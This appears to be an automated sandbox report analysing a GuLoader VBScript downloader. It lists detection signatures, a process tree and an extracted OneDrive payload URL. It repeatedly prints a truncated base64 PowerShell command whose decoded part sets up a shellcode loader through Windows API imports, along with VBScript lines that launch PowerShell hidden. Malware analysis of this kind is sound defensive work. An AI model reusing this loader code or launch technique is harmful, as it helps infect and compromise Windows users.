Windows Analysis Report
IMG 0045434.vbs

Overview

General Information

Sample Name: IMG 0045434.vbs
Analysis ID: 562140
MD5: 813117cdcd80979365fd6d9586d11e4a
SHA1: e28ef2705053405e87f440f078f31d13b09a9ee3
SHA256: 1def093ef16309c10c38b5426ac396019c4ddc074394b022626b8dce1ea2acaa
Tags: vbs
Infos:

Detection

GuLoader
Score: 88
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Potential malicious VBS script found (has network functionality)
Encrypted powershell cmdline option found
Very long command line found
C2 URLs / IPs found in malware configuration
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Sigma detected: Suspicious Execution of Powershell with Base64
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

AV Detection
barindex
Found malware configuration
Source: 00000003.00000002.1189973609.00000000098B0000.00000040.00000800.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://onedrive.live.com/download?cidO"}

Networking
barindex
Potential malicious VBS script found (has network functionality)
Source: Initial file: D_Stream.SaveToFile Gefullte5, 2
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://onedrive.live.com/download?cidO
Source: powershell.exe, 00000003.00000002.1184479242.0000000006014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1180651928.00000000050F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1180399057.0000000004FB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1180651928.00000000050F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.1184479242.0000000006014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1184479242.0000000006014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1184479242.0000000006014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1180651928.00000000050F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1184479242.0000000006014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe

System Summary
barindex
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc Jump to behavior
Potential malicious VBS script found (suspicious strings)
Source: Initial file: obj1.ShellExecute MyFile , INTENS ,"","",0
Source: Initial file: obj1.ShellExecute "powershell.exe", INTENS ,"","",0
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 7389
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 7389 Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_033CE7C8 3_2_033CE7C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_07E6BF18 3_2_07E6BF18
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 98%
Java / VBScript file with very long strings (likely obfuscated code)
Source: IMG 0045434.vbs Initial sample: Strings found which are bigger than 50
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\IMG 0045434.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ridmj1ad\ridmj1ad.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7F9.tmp" "c:\Users\user\AppData\Local\Temp\ridmj1ad\CSC3DE241659FC44F82A3F695B8E7FD432F.TMP"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ridmj1ad\ridmj1ad.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7F9.tmp" "c:\Users\user\AppData\Local\Temp\ridmj1ad\CSC3DE241659FC44F82A3F695B8E7FD432F.TMP" Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220128 Jump to behavior
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\TRICA.dat Jump to behavior
Source: classification engine Classification label: mal88.troj.evad.winVBS@8/11@0/0
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5576:120:WilError_01
